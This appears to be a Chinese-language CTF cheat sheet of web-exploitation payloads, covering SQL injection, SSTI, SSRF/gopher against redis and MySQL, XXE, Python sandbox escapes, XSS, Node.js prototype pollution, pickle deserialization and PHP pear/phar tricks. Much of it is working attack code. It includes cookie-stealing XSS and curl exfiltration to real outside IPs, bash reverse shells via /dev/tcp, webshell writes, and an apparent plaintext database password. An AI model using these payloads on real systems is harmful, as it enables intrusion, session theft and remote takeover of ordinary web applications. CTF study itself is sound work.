------WebKitFormBoundary0xXn6nlxZVqh49pS--
Set_error_handler
ool注入
java.lang.Runtime.getRuntime().exec('curl http://`47.99.125.16/`cat /flag`')
java.lang.Runtime.getRuntime().exec('bash -c {echo,curl http://`cat /flag`.os34jtkl.requestrepo/}|{base64,-d}|{bash,-i}')
java.lang.Runtime.getRuntime().exec('bash -c {echo,Y3VybCAgaHR0cDovL2BjYXQgL2ZsYWdgLm9zMzRqdGtsLnJlcXVlc3RyZXBvLmNvbS8=}|{base64,-d}|{bash,-i}')
new java.io.BufferedReader(new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec("cat /flag").getInputStream())).readLine()
new java.util.Scanner(java.lang.Runtime.getRuntime().exec('cat
/flag').getInputStream())
利用该工具的OQL查询功能,查询password关键字得到数据库连接密码
查询语句如下:
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
Sql注入
(select 'admin' username,'123' password)a
创建新表
更新段表
1';upDate%09items%09set%09price=1%09Where%09id=8;#
有时候不一定是’闭合，可能是”
万能密码："or 1=1--+
admin"*\order*\by**\3#
注入1：
' or 1=1 order by 3#
a' union select 1,database(),3 #
a' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='web2'),3#
a' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='web2' and table_name='flag' ),3#
查询的信息可以回显，说明是union注入，然后要判断字段数。
?id=TMP0919' Order by 1#
看回显
?id=1' uNion Select 1,2,3,4,5#
查询表名
?id=1' uNion Select ((sElect grOup_cOncat(tAble_name) From infOrmation_schema.tables Where Table_schema=Database())),2,3,4,5%23
查询字段名
id=1' uNion Select ((sElect grOup_cOncat(column_name) From infOrmation_schema.columns WhereTable_name='here_is_flag')),2,3,4,5%23
查询Flag值:
?id=1' uNion Select ((sElect grOup_cOncat(flag) From here_is_flag)),2,3,4,5%23
0' union select 1#
密码是1
ᴬᴰᴹᴵᴺ
'^0# 分号可以用于闭合，井号可以用于注释，^进行异或运算，等号就是判等，这里需要利用sql的一个点“mysql弱类型转换”，****空异或0会查到所有非数字开头的记录
admin加空格来绕过（sql约束攻击）
userid=1' union select "<?php eval($_POST[1]);?>" into outfile "/var/www/html/shell.php"#&userpwd=1
爆破session密码
session可能在的地方 ..././..././..././etc/config.py
python3 .\flask_session_cookie_manager3.py decode -c 'eyJ1c2VybmFtZSI6eyIgYiI6ImQzZDNMV1JoZEdFPSJ9fQ.XyEaww.Iwc6W-s4ACfLuJX9SNYhvTPbb1k' -s '82.5659952704'
python3 .\flask_session_cookie_manager3.py encode -s '82.5659952704' -t "{'username': b'fuck'}"
测试数据：
1;show databases;#
Handle注入
';handler 1919810931114514 open;handler 1919810931114514 read first#
拼接注入
1';PREPARE st from concat('s','elect', ' * from `1919810931114514` ');EXECUTE st;#
布尔盲注
if(1=1,1,sleep(3)) // 1=1恒成立，因此会输出1
if(1=2,1,sleep(3)) //1=2不成立，则会执行最后的sleep函数，延迟3秒后回显
1'&&sleep(5)#
if(length((select(flag)from(flag)))=42,1,0)
id=if((ascii(substr((select(flag)from(flag)),$1$,1)))=$ace,1,0)
特殊方法
information_schema.tables用mysql.innodb_table_stats代替 table_schema用database_name代替
查表名使用 select group_concat(table_name) from mysql.innodb_table_stats where database_name=database() 跳过爆字段名直接爆值
查表名 -1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
无列名注入（知道表名)
?username=joe'union/**/select/**/a/**/from/**/(select/**/1,2/**/as/**/a/**/union/**/select/**/*/**/from/**/flag)/**/as/**/q%23
因为没有mysql.innodb_column_stats这个方法，查不了列名 大概原理就是没有列名，那就给它取名，然后按别名正常继续注入
//-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
测试列数
1'/**/group/**/by/**/22,'3
堆叠注入
';handler FlagHere open;handler FlagHere read first#读取
1';PREPARE st from concat('s','elect', ' * from FlagHere ');EXECUTE st;#
常见绕过
1.结果不允许有flag字符
if($row->username!==’flag’)
A. -1' union select to_base64(username),hex(password) from ctfshow_user2 --+
-
不允许有flag
if(!preg_match('/flag/i', json_encode($ret))){
A. -1' union select 1,2,password from ctfshow_user3 where username='flag' --+
3.不允许有数字
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
A. -1'union select replace(username,'g','j'),replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,'1','A'),'2','B'),'3','C'),'4','D'),'5','E'),'6','F'),'7','G'),'8','H'),'9','I'),'0','J'),'g','j') from ctfshow_user4 where username='flag'--+
Flask题目
import('os').popen('cat /f*').read()
local_file:///sys/class/net/eth0/address
flask的ping值计算
1.username 启动flask的用户名 (/etc/passwd 读取）
2.modname 默认值flask.app
3.appname 默认flask
4.moddir 可通过报错信息得到 flask库下app.py的绝对路径 /etc/pass
5.uuidnode 读取/sys/class/net/eth0/address MAC地址十六进制转化为十进制 根据网卡名称自行更改
6.machine-id（更正）/proc/sys/kernel/random/boot_id
/proc/self/cgroup 看是不是docker
/proc/sys/kernel/rand]
/etc/machine-id+/proc/self/cgroup合起来才是后半段
/proc/sys/kernel/random/boot_id+****/proc/self/cgroup
****import os
****os.popen('ls /').read()
Random*random=uuidnode
****读取文件用python2
import random
random.seed(0x0242ae0295f6)
print(str(random.random()*233))
local_file:///
Flask例题
flask disk
· 考点：Phar反序列化、gzip压缩、无回显RCE
· FLAG：动态FLAG
· 解题步骤
访问admin manage发现要输入pin码，说明flask开启了debug模式。
flask开启了debug模式下，app.py源文件被修改后会立刻加载。
所以只需要上传一个能rce的app.py文件把原来的覆盖，就可以了。注意语法不能出错，否则会崩溃。
from flask import Flask,request
import os
app = Flask(name)
@app.route('/')
def index():
try:
cmd = request.args.get('cmd')
data = os.popen(cmd).read()
return data
except:
pass
return "1"
if name=='main':
app.run(host='0.0.0.0',port=5000,debug=True)
git题目
java题目
存有web信息的XML文件
WEB-INF主要包含一下文件或目录：
/WEB-INF/web.xml：Web应用程序配置文件，描述了 servlet 和其他的应用组件配置及命名规则。
/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中
/WEB-INF/lib/：存放web应用需要的各种JAR文件，放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
/WEB-INF/src/：源码目录，按照包名结构放置各个java文件。
/WEB-INF/database.properties：数据库配置文件
例题
<servlet>
<servlet-name>FlagController</servlet-name>
<servlet-class>com.wm.ctf.FlagController</servlet-class>
</servlet>
****filename=/WEB-INF/classes/com/wm/ctf/FlagController.class
Struts工具
可能在env里。
Jwt题目
（后面一定要加点）
local_file:///sys/class/net/eth0/address
XXE题目
例题1：有回显的文件读取
<?xml version="1.0"?> <!DOCTYPE xml [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <paidx0> <ctfshow>&xxe;</ctfshow> </paidx0>
例题二:无回显
%remote; %send; ]>
SSRF题目
file协议
在有回显的情况下，利用 file 协议可以读取任意文件的内容
dict协议
泄露安装软件版本信息，查看端口，操作内网redis服务等
gopher协议
gopher支持发出GET、POST请求。可以先截获get请求包和post请求包，再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
例题
打mysql无密码
python2 gopherus.py --exploit mysql root select "<?php @eval($_POST['cmd']);?>" into outfile '/var/www/html/aa.php';
mysql读取任意文件漏洞
1.在腾讯服务器上开rough服务监听，受害机连接，输入指令获得。 远程连接 mysql -h 1.14.108.193 -P 3306 -u root -pygyjl694NYG. blog
写马
通杀大全
基于UNION联合查询： #
?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into outfile 'C:\info.php'%23 ?id=1 UNION ALL SELECT 1,'<?php phpinfo();?>',3 into dumpfile 'C:\info.php'%23
非联合查询 #
当我们无法使用联合查询时，我们可以使用fields terminated by与lines terminated by来写shell
?id=1 into outfile 'C:\info.php' FIELDS TERMINATED BY '<?php phpinfo();?>'%23
mysql进行root权限提取
总结
show global variables like '%secure%';
选项 secure_file_priv 用于限制导入和导出的数据目录 如果为空，不做目录限制，即任何目录均可以 如果设置为 NULL ，MySQL 服务器禁止导入与导出功能 直接写webshell会发现没有web根路径的权限
换一个思路可以通过udf提权执行系统命令
plugin_dir 选项用于指定插件目录
show global variables like '%plugin%';
so文件写法：
SET @file_content = LOAD_FILE('C:/Users/admin/Desktop/lib_mysqludf_sys_64.so');
INSERT INTO people (cmd) VALUES (HEX(@file_content));
SELECT hex(load_file('/lib_mysqludf_sys_64.so'));
写入so文件
SELECT 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INTO DUMPFILE '/usr/lib/mysql/p1ugin/udf.so';
CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
select sys_eval('env');
url要进行二次编码
打redis
curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);特征
python2 gopherus.py --exploit redis phpshell <?php eval($_POST['cmd']);?>
gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252428%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255B1%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A
1是密码
主从复制redis
dict协议分步解决：
'dict://127.0.0.1:6379/info'); 'dict://127.0.0.1:6379/config:set:dir:/tmp'); //设置目录 'dict://127.0.0.1:6379/config:get:dir'); //获取 'dict://127.0.0.1:6379/config:set:dbfilename:exp.so'); 'dict://127.0.0.1:6379/slaveof:49.232.224.59:6379'); 'dict://127.0.0.1:6379/module:load:./exp.so'); //加载exp.so 'dict://127.0.0.1:6379/system.exec:"env"'); //命令执行go
gopher一次解决：打开/tmp/redis，先运行得到payload，再python2运行server接受。
http/s协议：探测内网主机存活
[file:///var/www/html/flag.php](file://var\www\html\flag.php) ---看网页源代码 url=http://127.0.0.1/flag.php http://safe.taobao/ http://114.taobao/ http://wifi.aliyun/ http://imis.qq/ http://localhost.sec.qq/ http://ecd.tencent/ 出来时127.0.0.1 url=http://2130706433/flag.php url=http://sudo/flag.php dns解析 url=http://0177.0.0.1/flag.php 十六进制 url=http://0x7F.0.0.1/flag.php 八进制 url=http://0177.0.0.1/flag.php 10 进制整数格式 url=http://2130706433/flag.php 16 进制整数格式，还是上面那个网站转换记得前缀0x url=http://0x7F000001/flag.php 还有一种特殊的省略模式 127.0.0.1写成127.1 用CIDR绕过localhost url=http://127.127.127.127/flag.php 还有很多方式不想多写了 url=http://0/flag.php url=http://0.0.0.0/flag.php http://nginx：80/flag.php http://＠nginx/flag.php http://nginx／flag.php 长度小于5 http://127.1／flag.php http://0/flag.php
在自己的vps上写一个php文件，内容为
<?php header("Location:http://127.0.0.1/flag.php");?>
然后POST传参
例题1：
代码中正则的意思是url要以http://ctf.开头，且以show结尾
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}
那么可以构造一下绕过
url=http://ctf.@127.0.0.1/flag.php?show
此处ctf.将作为账号登录127.0.0.1，并且向flag.php传一个show参数来绕过
SSTL题目
twig模板
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}
{{url_for.globals.builtins'import'.popen('ls').read()}}
smarty
一，漏洞确认(查看smarty的版本号)：
{$smarty.version}
二，常规利用方式：（使用{php}{/php}标签来执行被包裹其中的php指令，smarty3弃用）
{php}{/php}
执行php指令，php7无法使用
<script language="php">phpinfo();</script>
三，静态方法
public function getStreamVariable($variable){ $_result = ''; $fp = fopen($variable, 'r+'); if ($fp) { while (!feof($fp) && ($current_line = fgets($fp)) !== false) { $_result .= $current_line; } fclose($fp); return $_result; } $smarty = isset($this->smarty) ? $this->smarty : $this; if ($smarty->error_unassigned) { throw new SmartyException('Undefined stream variable "' . $variable . '"'); } else { return null; } }
payload1:（if标签执行PHP命令）
{if phpinfo()}{/if}
{if system('ls')}{/if}
{if system('cat /flag')}{/if}
四，其他payload
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
jinjia
读取模块
`<class '_frozen_importlib_external.FileLoader'>`
`subprocess.Popen`
使用：{{''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1)municate()[0].strip()}}
查找脚本
import requests
url = 'http://c77cb43a-a5f0-44dd-bc75-7e531b6a69e5.node4.buuoj:81'
for i in range(1, 100):
payload = "/?search={{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "].__init__['__glo'+'bals__']}}"
newurl = url + payload
res = requests.get(url=newurl + payload)
if 'builtins' in res.text:
print(newurl)
else:
pass
利用{{''.__class__.__mro__[2].__subclasses__()[76].__init__['__glo'+'bals__']['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
过滤单双引号
?a=os&b=popen&c=cat /flag&name={{url_for.globalsrequest.args.a(request.args.c).read()}}
过滤了args，换其他参数传值即可
Args->cookie
过滤[]
?name={{url_for.globals.os.popen(request.cookies.a).read()}} Cookie:a=cat /flag
过滤了下划线，我们可以使用attr方法，request|attr(request.cookies.a)等价于request[“a”]?
name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}
__绕过
"class"=="\x5f\x5fclass\x5f\x5f"=="\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"
使用get传参，构造参数：
{{(x|attr(request.cookies.x1)|attr(request.cookies.x2)|attr(request.cookies.x3))(request.cookies.x4).eval(request.cookies.x5)}}
Cookie=x1=init;x2=globals;x3=getitem;x4=builtins;x5=import('os').popen('cat /flag').read()
.过滤
""|attr("class")
相当于
"".class
过滤.{{,__,
txt.galf_eht_si_siht/ tac'[::-1]) 反方向绕过
Cookie:a=globals;b=cat /flag
过滤{{
{% print(get_flashed_messages.globals.os"pop"+"en".read()) %}
过滤popen
q=[].class.base.subclasses()[189].init.globals'builtins'('os').dict'pop'+'en'.read()
无回显sstl堆区
/hack?klf={{config.class.init.globals['os'].popen('tac /f*').read()}读取
/hack?klf={{config.class.init.globals['os'].popen('curl 120.46.41.173:9023').read()}}
/hack?klf={{config.class.init.globals['os'].popen('curl 120.46.41.173:9023/ls /app/f*').read()}}
Payload:?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(vhthja=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%}
沙盒逃逸
最普通： import("os").system("cat flag")
无参数b和i，单引号，双引号，反引号
getattr(getattr(()class__,chr(95)*+chr(95)*+chr(98)*+chr(97)*+chr(115)*+chr(101)*+chr(95)*+chr(95)),chr(95)*+chr(95)*+chr(115)*+chr(117)*+chr(98)*+chr(99)*+chr(108)*+chr(97)*+chr(115)*+chr(115)*+chr(101)*+chr(115)*+chr(95)*+chr(95))()
找到()class.base.subclasses()[-4].init****.globals__'system'
构造同理
getattr(getattr(getattr(getattr(().class,chr(95)*+chr(95)*+chr(98)*+chr(97)*+chr(115)*+chr(101)*+chr(95)*+chr(95)),chr(95)*+chr(95)*+chr(115)*+chr(117)*+chr(98)*+chr(99)*+chr(108)*+chr(97)*+chr(115)*+chr(115)*+chr(101)*+chr(115)*+chr(95)*+chr(95))()[*-4],chr(95)*+chr(95)*+chr(105)*+chr(110)*+chr(105)*+chr(116)*+chr(95)*+chr(95)),chr(95)*+chr(95)*+chr(103)*+chr(108)*+chr(111)*+chr(98)*+chr(97)*+chr(108)*+chr(115)*+chr(95)*+chr(95))chr(115)*+chr(121)*+chr(115)*+chr(116)*+chr(101)****+chr(109)
_利用
字符长度限制
s<13
eval(input())
然后在执行上面的
S<7
一开始输入help()，进入到help界面，然后随便找个模块，例如os输入，此时就会显示os模块的帮助页面，输入!sh就能进到shell里面去。
无help（）
breakpoint()
再正常输入
globals()函数
泄露全局变量
Server模块有类似作用
Dir()函数
查看根目录
Dir(my_flag)查看底下类
My_flag.flag1.encode()方法使用
Byte代替char
Payload = open("flag").read()
open((bytes([102])+bytes([108])+bytes([97])+bytes([103])).decode()).read()
bytes用基类代替
().class.base.subclasses()[6] --->通过基类使用bytes
().doc[1:200]使用
python中存在unicode的注入，所以直接调用level2的payload改下unicode
���val(inp���t())
****+绕过方式
().class.base.subclasses()[-4].init.globals[str().join([().doc[19],().doc[86],().doc[19],().doc[4],().doc[17],().doc[10]])](str().join([().doc[19],().doc[56]]))
_posixsubprocess绕过
****多次输入
builtins['loader'].load_module('_posixsubprocess')
或：
loader.load_module('_posixsubprocess')
import os
loader.load_module('_posixsubprocess').fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None)
交替python和shell运行
****单次输入
[os := import('os'), itertools := loader.load_module('itertools'), posixsubprocess := loader.load_module('posixsubprocess'), [_posixsubprocess.fork_exec([b"/bin/sh"], [b"/bin/sh"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False, None, None, None, -1, None) for i in itertools.count(0)]]
随机数
****输出流重定向
import("sys").stdout.write(import("os").read(import("os").open("flag",import("os").O_RDONLY)0x114).decode())
int(str(import('sys')._getframe(1).f_locals["right_guesser_question_answer"]))
****回溯随机数
random:=import('random'), state:=random.getstate(), pre_state:=list(state[1])[:624], random.setstate((3,tuple(pre_state+[0]),None)), random.randint(1, 9999999999999)
函数利用
(lambda:os.system('cat flag'))()
class WOOD(type):
getitem=os.system
class WHALE(metaclass=WOOD):
pass
tmp = WHALE['sh']
偏门赛题
php运用原生类eval(“ ”,$ )
action=%5ccreate_function&arg=}system('cat /sec*');//
内网穿透
Zip读取
https://w0co1yvttngpnhutm4avlaczb.node.game.sycsec/include.php?file=zip://upload/1cmd.jpg.zip%23cmd.jpg
局部变量替换绕过
preg_replace('|$option='.*';|', "$option='$str';", $file);
ctf大赛原题
CTFSHOW大赛原题篇(web680-web695)_ctfshow web680
条件竞争
<?php ?>';
file_put_contents('1.php',$a); ?>
XSS专题
****过滤img
<script>document.location.href="http://47.99.125.16/receive.php?cookie="+document.cookie</script>
****过滤script
<body οnlοad="document.location.href='http://47.99.125.16/receive.php?cookie='+document.cookie"></body>
过滤空格
body/οnlοad=document.location='http://47.99.125.16/receive.php?cookie='+document.cookie;
归纳
<script>window.open('http://47.99.125.16/receive.php?cookie='+document.cookie)</script>
<script>var img = document.createElement("img");img.src = "http://47.99.125.16/receive.php?cookie=?cookie="+document.cookie;</script>
<script>window.location.href='http://47.99.125.16/receive.php?cookie='+document.cookie</script>
<script>location.href='http://47.99.125.16/receive.php?cookie='+document.cookie</script>
<input οnfοcus="window.open('http://47.99.125.16/receive.php?cookie='+document.cookie)" autofocus>
<svg οnlοad="window.open('http://47.99.125.16/receive.php?cookie='+document.cookie)">
<iframe οnlοad="window.open('http://47.99.125.16/receive.php?cookie='+document.cookie)"></iframe>
<body οnlοad="window.open('http://47.99.125.16/receive.php?cookie='+document.cookie)">
读全网页
var img = new Image();
img.src = "http://47.99.125.16/receive.php?cookie="+document.querySelector('#top > div.layui-container').textContent;
document.body.append(img);
Node.js题目
1.包含eval内利用
require('child_process').execSync('ls /').toString()
require( 'child_process' ).spawnSync( 'ls', [ '/' ] ).stdout.toString()
global.process.mainModule.constructor._load('child_process').execSync('ls',
['.']).toString()
2.node.js中的拼接问题：
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
所以：像['a']+flag==='a'+flag这样的，比如flag是flag{345}，那么最后得到的都是aflag[345}，因此这个也肯定成立：md5(['a']+flag)===md5('a'+flag)，同时也满足a!==b：
因此还可以构造：
?a[a]=1&b[b]=1
3.长度字符限制数组异常绕过
{"checkcode":[1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1]}
原型链污染
启蒙文章
点击展开代码块
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型（即Object）
foo.__proto__.bar = 2
// 由于查找顺序的原因，foo.bar仍然是1
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar
console.log(zoo.bar)
</details> 最后，虽然zoo是一个空对象{}，但zoo.bar的结果居然是2，原因也显而易见：因为前面我们修改了foo的原型foo.proto.bar = 2，而foo是一个Object类的实例，所以实际上是修改了Object这个类，给这个类增加了一个属性bar，值为2。
后来，我们又用Object类创建了一个zoo对象let zoo = {}，zoo对象自然也有一个bar属性了。
那么，在一个应用中，如果攻击者控制并修改了一个对象的原型，那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。 要用json格式
普通变量相等绕过
{"__proto__":{"ctfshow":"36dboy"}}
升级rce绕过
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.99.125.16/3389 0>&1\"')"}}
函数套函数
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.99.125.16/3389 0>&1\"')"}}}
ejs模板rce
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/47.99.125.16/3389 0>&1\"');var __tmp2"}}}
滤了proto，我们可以用constructor.prototype代替
{"constructor.prototype.outputFunctionName":
"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag.txt');//"}
{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/xxx/4444 0>&1\\"');var __tmp2"}
例题
ctfshow
pear包含
安装了pear
开启了registerargcargv
存在可控的include $GET['f'](即使是include $GET['f'].php)
?file=/usr/local/lib/php/pearcmd.php&+config-create+/<?=eval($_POST[1]);?>+/var/www/html/a.php
1=system(‘ls’);用burp放 如果用hackbar放会把<>url编码
不要照搬，前面是include（pearcmd.php）这个函数，后面是放入参数。
?file=/usr/local/lib/php/pearcmd.php&lalala+install±R+/var/www/html/+http://vps-ip/shell.php
ssh打php-rfm
python2 gopherus.py --exploit fastcgi
函数使用
非法传参名
当PHP版本小于8时，如果参数中出现中括号[，中括号会被转换成下划线，但是会出现转换错误导致接下来如果该参数名中还有非法字符并不会继续转换成下划线，也就是说如果中括号[出现在前面，那么中括号[还是会被转换成下划线，但是因为出错导致接下来的非法字符并不会被转换成下划线
$_GET['show_show.show']
show[show.show
例题1：
传参1%2B1>2
python用法
1.正则提取计算
import math
import requests
import re
url = 'http://82.157.146.43:14709/'
payload = {
"input": "123",
"ans": "12"
}
math=''
res = requests.post(url, payload)
num_pattern = repile(r'<div style="display:inline;">(.*?)</div>')
num = num_pattern.findall(res.text) # 正则提取公式
payload="9223372036854775807"+'+'+math.join(num)[0:-1]
print(payload)
pickle反序列化题目
常用payload
return (commands.getoutput,('ls /',))
import pickle
import urllib
import commands
class payload(object):
def __reduce__(self):
return (commands.getoutput,('ls /',))
a = payload()
print urllib.quote(pickle.dumps(a))
import pickle
import base64
class GetShellWithPython(object):
def __reduce__(self):
import subprocess
return (subprocess.call,
(['python',
'-c',
'import os;'
'os.system("curl http://49.232.224.59:3389?a=`cat /flag`");'],))
pickleData = pickle.dumps(GetShellWithPython())
pickle.loads(pickleData)
print(base64.b64encode(pickleData))
Php题目
心得：
1.preg_math过滤什么留下的就是使用的漏洞
2.eval过滤括号（，就用不用括号的，常见的有include、require、echo等，
include函数
常用伪协议php:filter-->文件名已知
data://text/plain,<?php ?>这段代码，对前面的内容或者后缀名是没有要求的，可以直接修改为其他后缀。
只要将phar文件使用 gzip 命令进行压缩,这段代码就会消失。
phar由data,data签名（20位）,和签名格式（8位）组成。
生成phar文件,同时放入010增加属性数量来绕过weak_up
<?php
class LoveNss
{
public $ljt;
public $dky;
public $cmd;
public function __construct()
{
$this->ljt = "Misc";
$this->dky = "Re";
$this->cmd = 'system($_POST[0]);';
}
}
$o = new LoveNss();
$phar = new Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new LoveNss();
$phar->setMetadata($o); //将自定义的meta-data存入manifest，setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering(); //签名自动计算
#本题要将生成得phar文件放入010修改属性数量来绕过weak_up
#php.ini中phar.readonly改成Off
修改签名
from hashlib import sha1
import gzip
with open('D:\\sublime text\\Sublime Text\\source\\反序列化\\phar.png', 'rb') as file:
f = file.read()
s = f[:-28] # 获取要签名的数据
h = f[-8:] # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("D:\\sublime text\\Sublime Text\\source\\反序列化\\2.png", "wb")
f_gzip.write(new_file)
f_gzip.close()
Pear包含
****方法一：远程文件下载（下载远程木马到本地）
?file=/usr/local/lib/php/pearcmd.php&lalala+install±R+/var/www/html/+http://vps-ip/shell.php
lalala：随便输，第一个参数没用，第二个有用
install：安装远程扩展
-R：指定安装到的目录
/var/www/html/：目录
http://vps-ip/shell.txt：从哪下载
****方法二：生成配置文件，配置项传入我们恶意的php代码的形式
****1=/usr/local/lib/php/pearcmd.php&±c+/tmp/ctf.php±d+man_dir=<?php%20eval($_POST[1]);?>±s+
****方法三：写配置文件方式
GET /?file=/usr/local/lib/php/pearcmd.php&aaaa+config-create+/var/www/html/<?=`$_POST[1]`;?>+shell.php
（最后有一个空格）
POST/?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=system('cat${IFS}/f*');?>+/var/www/html/test
1=localhost/usr/local/lib/php/pearcmd.php&/?=@eval($_POST['cmd']);?+/var/www/html/test.php
相同字符强弱相等绕过，采用单个字符url二次编码绕过
函数总结
assert()
basename()
例题一：
会误以为config.php是当前目录
加了过滤
不可见字符绕过正则的同时而且会被basename忽略掉
例如：汉字、？、《、》、；
(basename漏洞)[[Zer0pts2020]Can you guess it?（basename漏洞）_basename绕过-CSDN博客]
parse_url
parse_url这个函数，这个函数主要就是将一个url链接进行分解，例如页面不存在_百度搜索
例题一：
例题二：
host遇到:和/会截断
其中host是baidu path是/aaa/bbb 注意这里的path是含有/的，host是不能有/的，所以返回根目录用cd
所以例如传入http://ls/a.php,分解开就是 echo ls> /a.php，会写如到根目录下，不方便访问。
因此要想办法写入到当前目录，这里构造语句将前面提前闭合即可。http://1/1;echo ls >t.txt (注意这里用反引号，不用system，因为system是php函数，这里设shell_exec里，用反引号来代表命令替换)assert也可
例题三：多重变量
<detalis>
<summary>123</summary>
</detalis>
host=>user,user=>pass,pass=>query以此类推便可以实现变量覆盖了
file_get_content()
